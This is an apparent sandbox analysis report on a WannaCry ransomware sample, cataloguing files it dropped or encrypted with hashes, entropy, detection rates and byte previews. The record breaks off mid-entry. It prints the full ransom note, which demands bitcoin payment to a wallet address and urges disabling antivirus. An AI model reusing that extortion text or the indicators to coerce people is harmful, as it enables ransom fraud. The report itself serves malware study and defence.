                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\AppData\Local\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573500972363.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998246580140285
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:iCWF9AAz2P7fBKYVHqclP/zogDfrrib4Yl4:iC09AFDZvHhP0mfrrVb
                                                                                                      MD5:5F33149C0466FA32F683055DA3DD2BF8
                                                                                                      SHA1:C9F9788967C0CA4CC6E49988282B1D7A69413586
                                                                                                      SHA-256:DFBE0FD342257D929F2303E55632BDBBE951979A8A5A8EB36D6C66675A2D8A11
                                                                                                      SHA-512:C5CFD6FB84C38ED85221337D373D9E443043CB2D31114AA0ADF012ED833CA76A4F75B50B4F3FFD82295DD152ECD0E01C6D5B1E2CFF53FFA076C49BF033AEF30D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....a....P.V].6.Z..".!.N@...Q..t..&...9."^....lvK....7.....9..XS.gg...l......... ?.....".).a.o....#....h.8...B...%y..??,..B...r...Zi..i.....N.~.....0.c......n.~'.Uhx..#..%.H......1lw-0.96.0.!..\..:..q.....M<.....f.}Cs.:....&..8..b..L............a.........X..;v.H`.f.!.8T.e...%.0D.....afX...;h........j........y......y.!..X...?s...E.......u51..o..-Z..P.p.....S...:w...b.%Q...1..O.8...Z..E..|$V........v....h:d.'......r!.3.G.I....$....mQI.(kX...|...[_..I^...\.....Gt...._..oy...+..4iSK.....r....p[..W..k.&.......:Sux~T.....rE.2;GE.)*. .iZ..j....`.YC..Q..SN....pQX..BFl..*...>b.+....Z....t[...X.].c_..dj....5.....Z...qa`u|L..0......i.>..T..8b.i./W..w(....n......g..*m.e.w.#..L4.....nL...u.<:....H..P.l.mI..L...[.`.k.UbI-..>....g.j_...Lt.b...Y.}.*..0......[B.|[..6...h(9Z.|].z...{+w..\..].........V....<...oc..XJ....HD..-<.......c.l#..Xb.{^LX-c1L...F..M.....uy.......I.2....kP..8.Y.p@....H|.....*6..Cq..3<.7.Q..f.,.].-T0tu....;Hn.'?

                                                                                                      C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d2e6c03-f928-4873-b576-0d6ef01dade1}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995000036037265
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:Lt0sScmS+FcXfKwIuJ1FKRdMu2HXyJ8LWkQO5d/L2ZG5Bsw:LtOhFcvKF0O8Hc8SJODL2ZGnsw
                                                                                                      MD5:C6ACE7A1F1B55116A81D9515EEA6C367
                                                                                                      SHA1:D4FDAC4C6D47FB6B38FBAF69627882459DF16AB4
                                                                                                      SHA-256:480A0224073708229ECC6A1AEB114E7B7F168603FAC3249F538C8F133CBF8980
                                                                                                      SHA-512:9BBE9DD24DD5D38D4D1CF02F8CB102F55BFC712A108F69584808542E256E6359BD76A60377C43A7BCCA05EFA7E6422EDBEFC5BF48BDA797F160FB56546B6CBAC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....(.n...oq..y.NA.O0.uQ......2..6.=......+......>C..........O.0(..y....7.....8&x...0u...@..~/.p.L..j....d..d..].7.>......#....}th..:...#Uj.>.0*,~%+../..u..s..G5...../..u+..l..B.N.W.U4.$.......S.7.!.p.=?..N UD4......~#.7..H..}.=.J-....M....4.......K.w.P.G>..a.N4[U......{G..4......h.S8..(..(.F.[...c:R...A.....T1.O....=..0.l&.0....I..4b....#.YX..k.....~@%.p...E'.?.S.@.n}.Z&....2.....?.fX.)..#..4..X.V.U._..~1.j7..i..:P......\..?...<..X%..7.x?.P...x.G./..R..Kb...u.1...0.Z._.@...*.^p.....X..B.../..l.G.Z.U..no..S....y.=..,..0...]..........v#.V5.=..Hv..(.....<A.%.~l....%;O;...v..|....R.@|..t.."r.<....i...`..k..?i...%.....0./..d..3.2..r...f...)NK2.<...63F...D....p.{bO.CV...G0........./.....:|..u..7.~q......(.t..mK.~o..*...'.[O..ln?......Wb.R/O..sU.{.b.C.z....U._..F.vY..5..t.,.x .......IE[..+.4g<.....QZy......y.h.yG.... ...<..}.lU."3.@Zy.V'nSZj...A.<.;..N.<.F+..f.E..M...[....G.5EHn.B.I...;..<.t.........I.9G.Q..q.......

                                                                                                      C:\Users\user\AppData\Local\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133670573801262804.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):115080
                                                                                                      Entropy (8bit):7.998577178132219
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:fmNGS8wOtywn9UEHUdIjvIlD+Ph47gafaXqrnQD84Fj8fsm:SGX19BHU5KPnayXsQdFjrm
                                                                                                      MD5:EB44E03ADBC9E8E0B176CF8F0232F90B
                                                                                                      SHA1:F25663629A20128CF1C1B25F72415039603018CF
                                                                                                      SHA-256:264B6C38896D3F50FAFC09C46CFF3DF35BA0B55E0F49B6A0F1704C41475CC2AD
                                                                                                      SHA-512:DE8522C6E4A000BBC466C1B5D7A449F7FCABB94C3F67B8561C9E483EC9C052616AE8774CF27254D8D83CDB982D0A7977A6CCBCA8C1D0C89255096EB08CA240F6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....x....<..]...Y.r....TGU.......^A......\.E.fxV.....~.......T......[.7.<m.}.5aDq..s....w.S."-=4....t.q......$d.:...~?l.2.?.<.)..:.H...A.AV.m:.....Z...L.>.9#...4bD......./...OB..i\.......x........3.........}.T..E....-..=....S...Hxt..ggVS.....n.Z..,....a......../9.5J..1........TX.%.W..u..... .L.C..:M.c.n.U........Qh.R..9.g.*.....sc.hR!.F2.v....-"..D....L...xW.a:..1.Sf.Q.."&...d...O...G....]....t.w.1|....%R@....<.".....b.U.03h..X...Y,.....}.....}.]..r.'t%.\`....@..9....FOu.........dK.r.hu....N..B.........J.).KNm.../..b.t'..[..t.."5R.....v..i..R`.............J....~...(D..H~.V.heY.m.0w.....r3^..%......6o...)....n.}..LP[..u.7w.\.$. ..!9.>9...z5.CNEF..1..=..(...T....v.$+..vxpm~..1&E...9a..8...S.6ne....y.XT{...6.H.NL.....]..Bq....n...:|I....?.|rm.;{E.>|iY.=./.H.U.n@..Q..K`Q......~..n./.....67^$&]..f....h0...wq.....^cY...f.u%:..V.U6.yF..i.]=Y.^..!.k%H..x.....d5..\{...P...T..'Z..}yv.I..{r8.."s...t'.P&.R.u..5.V..B(...;!.....3.$S_....~}B?

                                                                                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1048856
                                                                                                      Entropy (8bit):7.9998383175546595
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:p1K/FxFa+bLMyOUjuWSdfFEXGJSIJdne9klcIrm+4PWboimm+vn:PK/M+bLl8FLSgneim+poimFvn
                                                                                                      MD5:9F55A6C1BFAAB619555143D2720F66FA
                                                                                                      SHA1:2946C9548CC163D479563463364579A7AE6DED91
                                                                                                      SHA-256:CD12AACA5EDFC5E5C55AE06B0AEC24FA52372CEF229E8DC8B9B177B5334C305E
                                                                                                      SHA-512:6AAFDA9E684A346A80FB86A45A0EBAA2F98B87180B539C002B13BC91587D1FD4C3594EEEBD49FAE2FABDADFD80745801E1413410AD439A283747B4EDB004CC4D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....X..7.?...Pp..FC..#..XTJ.o...q.c.$ e.F5..:U.z...Jn.r.......|....E.Q.>|-M...)..5g..y..N.W~..5......PV.0..ScE\.B7..y.<..K.}.Q^..M.P.v}..2.A....K.P.# .7UPZ../....`x.`..+.....a..}.J...E6...$..MU.B.T...."..,pf{./.....]D....."..$..N4;zt_...'....{T..............PK.9|..k...Jt{6..l.A._...t.s.3.t.b.J...d..Aj..Cr9V...T.T......3r.. ...4.b6f.?C..Z..z.{]....v...{.6...n....F.f.t..hk....D/..X..Z|,..0...M.{".3k.4....X....<Z..P..s.\.........H..8}K..*..Fz.^a...N.W..^s.. .}2.U.......Cv...Q:..&.#._....!............g....[|. #....s.s,D...;.WN........K..$N}......;I....X..~}!...}.G.kGq=.QG.j..".n..w..&......N..<8.p&.........q..?..#..=.....L..S..%....................{.pW.....RZ.T..Dj..1R...+&.`~j.J.z....;.......KQ.;.(Y.W:m%.............&.e.'.=k.....H.m.....4!..X..V....pJ.Tg...m...*.?N6O.C..%%v..m.N..AF.e3.B..1^Y.I0..N`H..D.=.+N.WU..q.0-cj.b.LO=10'{....'TWZ|BA.i.+..6f)...DIz.:.......D....be#...w..._EG...c.i.-....!?.K.a..6.....Ok/.c.[...b_'.&..)N

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):544936
                                                                                                      Entropy (8bit):7.999658450554553
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:ymkpzGx5Vh6kQy6EhOyXlF+60Eg02eedAc+OE11evy1pQOTu0:ymAzM536kQ9gOyzUEg02LAcG71pTl
                                                                                                      MD5:1329ED96E8CCF463756E2996F352CB38
                                                                                                      SHA1:68B58B9315C4391BCBB0F0EFA96032781D3338FD
                                                                                                      SHA-256:96617821BC3CB6216E06A5AD638EE35D15DC8DBF8151814D2E2D7BA098AADD5D
                                                                                                      SHA-512:7E35178BB97B5105CEDFB3AB3436F1053D9D6D94086A70633FE623B4E59628DB8977E6AB3D13221A44372655FAA721667A2249081D0410EA237EF0DF5BA04307
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....?Hh+...]....I?8.....)..}.GXu...h..;....Q.@`..C.7.A..r....d....!...(X..~...E..M...m...H.C.S..{.......D}.&...e3.OU.g.r..e./..N(~.I..#CX......n...,.v-...q.D.)G=.Y.......!..Y5.M.._~...|.~.._.[.MR..m}A)..J*fB.N./...=_...4+S+>...I.i..3....oGH6t...(D|.....O......#.8...sYDw...<w..8....U`?.G.L.....X..K..f....q.7C.L...=..f..8+.i...v........zO.r..Q.I.7.tTF..4..YGz...r]&9]B..D.p(..r.2..1.(...?PV...;..cU...0.../..$f.".5B....)...-Fn.0...z.v(y.?PD.w...=^.l..#z..[..._.O.|.:.<$D...pD...^.P..F...m.[.(....i.MxQ.0.J..H.mJ...m.V..<..h....Q1..../.|`...1..$I....G.M/@.......O.P...L.Qv._....D..,..o0.j.O.Xo.y..P.....l0..*.......]d.T.L....x.Y...P..........q.....U.?..Z...=..s..I.8i....Tps.."..?.6|.o..e.J..3Ua..8(....h..Z@..,m...E0.:O.,aju..5..W;..k9..Y....4..:.B..KQ...........:.%..8c...Z..q.Cn8._.}.q`..Y....]rt|..c..F..=..hv..P....H..0..y...K.....4...k_.....c.....-...N`icg._.....a..rM...&I..|mP'O..&.B.W.b]...m$iG....z[...{F.r.i...y..j..._..@,[.S..F.{.S

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):261608
                                                                                                      Entropy (8bit):7.999329055887086
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:Qxn5WajUreI3UbgSJzPdqsH+iLMaBGp3uYi/KDoODt3C3/:QF5VPNJzPBvYazYiiDoUC3/
                                                                                                      MD5:01C7381DF09C273942BD097EBA7E868D
                                                                                                      SHA1:EE4BA44CDCEC21641CD065358FB5319EBD0A9397
                                                                                                      SHA-256:2E173BB1C30F18AFCA0FF6CFC1EE0E1DD88E2F6481CA6AF38DB164C48B1B4746
                                                                                                      SHA-512:3A2F19B99191914AD2F612450587B74D0CDB4C3B4382723FF751FEAB00992829F6CF710CA1E43BBC5BA520D7539FBB1DD532A15469BB8097DC31885AD8F462DE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....j]P}[.iu..k.a.....r.O...U1y..lAQ........=.=Cr$N'.!.....zuD.<..R%e...B...aa...3....{E.0.@.N. 9._......B..k..+x.IC......\...p.hD.f<sv......>\...J.9.\..YH...0.....c@t..rs)...~..%F.7......@....9....\.~RX.=..I..~....tV(h.......:YO...H.zU..^.=..x%0Lf..f.E...............}.@.`<.!'.....2/,8.EF^6$..m.....K.d..f...PS......M.q..9d.8.[I....z.c.. .... .D....$..e;..B.=.C.m.Df..x..eoly..\.K!.`.....>D&...k.-..r.J..(.x.....5.)'W.hD..i....`.C....Z;[\...n..y>.v|....Y.*n.Y..8......"...s(.Y.A.....8..[.*.9...*.......43.l....8q.....iN..*\].T...G.....<.|.AS..L..... B,.7K..)..,.}....;$./N.G7...bt.).E.3H..m..O^...M...Y.,.'.;pe...s^hh&!.'n..j..E.,.JT1&@ Mi.J.x..w.r....L}doTO..-z.....).# ..}.h.MP}fN9..7..we..p#H<..,....v..(..uU=...G.....;..@.Z1..tpk..>77.p'n.$..AZ.+.....O.).3..(.ga.j....X\E.Tm......P .9d.5...i......6...0Z|.....>].PH....X..@.Q9Y....".y........C..d(-.z.;..b.G....f..#..IA.......4.M...m..-$.*.Z...,.YJ.. ......M...mXAwy...X'?>.8..Zg].5LTf.......

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):70648
                                                                                                      Entropy (8bit):7.997312999799458
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:vZKEQ702/w8DggOxiedjBUsSZgL4kJQreSXXMC3YVxZoVuY:QEeNw8DJOxcsZ4YQjX8C3YTs
                                                                                                      MD5:561C9338E5540FBA1E14137C23721536
                                                                                                      SHA1:63D1C8918BCADF3E4D7484B8C7CCFC7FACDC8A07
                                                                                                      SHA-256:FEE595C75CBAE11DC6264AE625A6A8048B66E6BB3BF11BD29F57796E93ED3405
                                                                                                      SHA-512:43B59C26FC15C191D5BEE36FB3FE43F07F690D8BB7B60F5BEC180AC15740A9E033D5302E5A4377185EA832DC8C6DD7B9F5DAC55C6ACEA8630AF59C415FB48D31
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....../..p5..nH.P.:.k...=.o_.5.P......v.cxat... ...,.=..|rD-.z@.....wO.2.Q.G....\......D..........}.*&..j.{.....G....Q.X{..J...`...sh..._#.f...F..O...4.z.l........u....@b3..N..D......XO.p..4S.pv....(..3)3S......GP...d..e.b.E.......T8|.k....C...k5..[.8.............L.........uS.A.e(.?q.m...[.C.fk.|.e..#.(...E...1.&._.Y.^.#F.r-.(...%..u..].......sX..Y..h....U|..w%F..4&.b...1.u.#I.zq..]v........r.!.W6.`....C.9.....a3WTT.....f.1..Ha+...,px..O...E....:g.?.O..i....+.K......g...|[wJ.q....+ULx..S.E.#...<.-o..l.....]~...O..aW..*3......[......RQ..*.{...l..kxx=C.L\(l.[.3.....>KeQ'2....!..J..uR.5{..F!U.....<0._<........,[...uz.?..i@.*.5.S....E.uT~2....<Rt...S.%J.1...y.\l...4.{..".....R..O.ed..L.n.R.@.....!..u.vRwp..i..;@.z...GJN.{...6...W...G.*^.L..&...Od.c.n.h...\.#+.l.V.*+.9..fv....L..@0..@{.qd.]...7.8.9..SkH._>..k..r....}g..ci....-....].e.P.....|?..$...3...^.e....;]....,.B..".7'.d.E.wX......._4.*c..U...;A..x.+.H.3.=.`.*.*`.=...Z."m#.UB!

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4648
                                                                                                      Entropy (8bit):7.9570691880300455
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oJfiikQ0oZkPFQPCzClkWniTFY716PI2WSzt9NmpwNcmE2m:Mfi7Qh4FQWCGWnP1WASz6kPm
                                                                                                      MD5:A323C85EBC05E88B6B28D37B68727FC2
                                                                                                      SHA1:A1B8D45C148A01227DFFBFC5AE1A30534E1EB6A7
                                                                                                      SHA-256:9B9C4142F352A13A652753951359B61315AA0E3F0C915DE44979BA29214AA50B
                                                                                                      SHA-512:F7C8BA2F01F4920908D8FB98628525F9FFB27B5589562531325C62493B6EFAC549B47E3F3DC217D58A97B7A55C267C71CD41381DD535F6A8FE14CAABC3CD80ED
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....9(^.^..t.....<...<....z...].|LC....r._:32.z..Cjr.......-.YX!..v..Ks(<Ake$<.([J.....-.n..<.L!.q.5v.@>..c...|X.u........n..7...y..k.I.....s.?..{:nG.o8,vCCh|.z.....HfQ....~.tC.hK+Fw.U.....:..l.vc.+Y...g...&m...K}>....[.%\C.Q..Y?dE.m.oT...e.h.x..................Y.....Ry..(...wt.Z..(.Wd/..D~.ek.@Z.8b@....9.....w'..I.+...Q..H.j.....P..l...!........7..e.-...%..y.....x...|-..&hN.p.r.....0..&H.Q..........N._.)G..\O..w..g..u...c..A.{.h.yuI..Rv..^6 ...<..n...z..b.sK.. ...c(...&..ii...sG..s~Am\Q5(..q5.M$ok@.q.S..W....e-.,mu..9C.!3.P-..Z..flX...}.D..f....*.....c........J.......,.!/.\T.N..f...&.L....)B%.....uq..R.L.k..."..K....A....x....._B.{7L....8X...Nv...C..`...e...8.......Qs.OW.P.....[,%.t.C...(..4....*.mm...ny-.IM.L&..z.OT#l;.0Z...l..".....9..........E.+.(.GC...w0$.11.h[.;u..zr..*.....e......y.1V....^....s.,[g..'`.=R....}.M..a...<.t+.R..............n..V..tm~.y.v.`..#)q....k.U[vj).Z..m..VO.<..E..pBZ."1.....w.g-......V..N.y.O..Ap..z.+

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):8248
                                                                                                      Entropy (8bit):7.977139704728886
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:/o+yoyeXh1gRciGUCMUQ92JtipkeizEt+q85V6Kf5vY/e1q:/oHReXrOCMUZJtiSeYXb5Vg0q
                                                                                                      MD5:AB13C2982DF0FF7723E0487BD193889E
                                                                                                      SHA1:7A1F424C3685C525EE9B752133ACEFB8E374976D
                                                                                                      SHA-256:21222BCB6CC461B3A1E2ACC7912AC6F0F16E5374549CB3C0179A222728E7CE67
                                                                                                      SHA-512:406EBF45400ECA377AB4E777A1F0EDB583F79ACE52911F7F637D06218F934036454F28F451DEF322253CD691697D512450F25F8C61E83154832D437F066B71AA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......m.m.R<.3.9..)...,g..._..D7ggb;.[.&E8 q..e.)a...D..8..N.<.>Z6.j....~Z..V...+....b=...U..p.2O..@.tN+..#.c..r....j.VN..j.`.-U...z.........Qs.y..(..Jp,.....`!.b.[n....[Y.....N.,S..`..I.~.#=T2w.*...1.J.S..xL..1+.... .......|..C.......4.j...W,+...,..............i..kh....(........#..q.M......R.G..w....3..=..B..b..[..s.m*.rQ37v..cCL..(.....n./]....">..bt-.(....~....U.....O?...NE...L...h.M9...rsa...r... ....c.)h.."'..E.x...D0+.o.g..^....!9(vI&.t.8.....<lb......g.Ie..^...p.}S.....NO.....[.H(K...Y.K.[*....;.+...i..K../...$....C.10.........L.i....i.C...=....'..O.i.h.K.u#u.%.]........:H...Ot...3.)7-..d}..T........%+.$...}H....o....p.P?w.+]... O.I..Q.......f....N.. ..r..k.5.Jj..-(%XB........C.....&3{/+Nc..g.R........O..V..w.mv...h..$...q.%..?...2..+........Cr.;$..?.78Er.Vf./._....;......$?.*.g$.}s&.e..},v..........>..N+.....f.g....&.TQ...8...M..!.y~...4.._t,.{..Ji....2..Dq?.E>z.9P.yo..}.l.M.b........&cu].2.M...G..j......J...U...Zc...9.OV

                                                                                                      C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5976
                                                                                                      Entropy (8bit):7.963550909190473
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:o6WdmmS2zFJxeFOh6T7SaZmQCFFmHZWAZwSfz0Nop7ukANMvSm0+G+4feEGX8RX5:qdmmS2vxech6vp7C73AqS2MfANxl+OWG
                                                                                                      MD5:CA97C8A1172278D6390C60999FFB1A51
                                                                                                      SHA1:70AE89C581871461CF7648476F197944188E2040
                                                                                                      SHA-256:480C2654C81B5B0A42E65A7DE8C4B6F4C007AE9004E2C9159330DA1FA0C66200
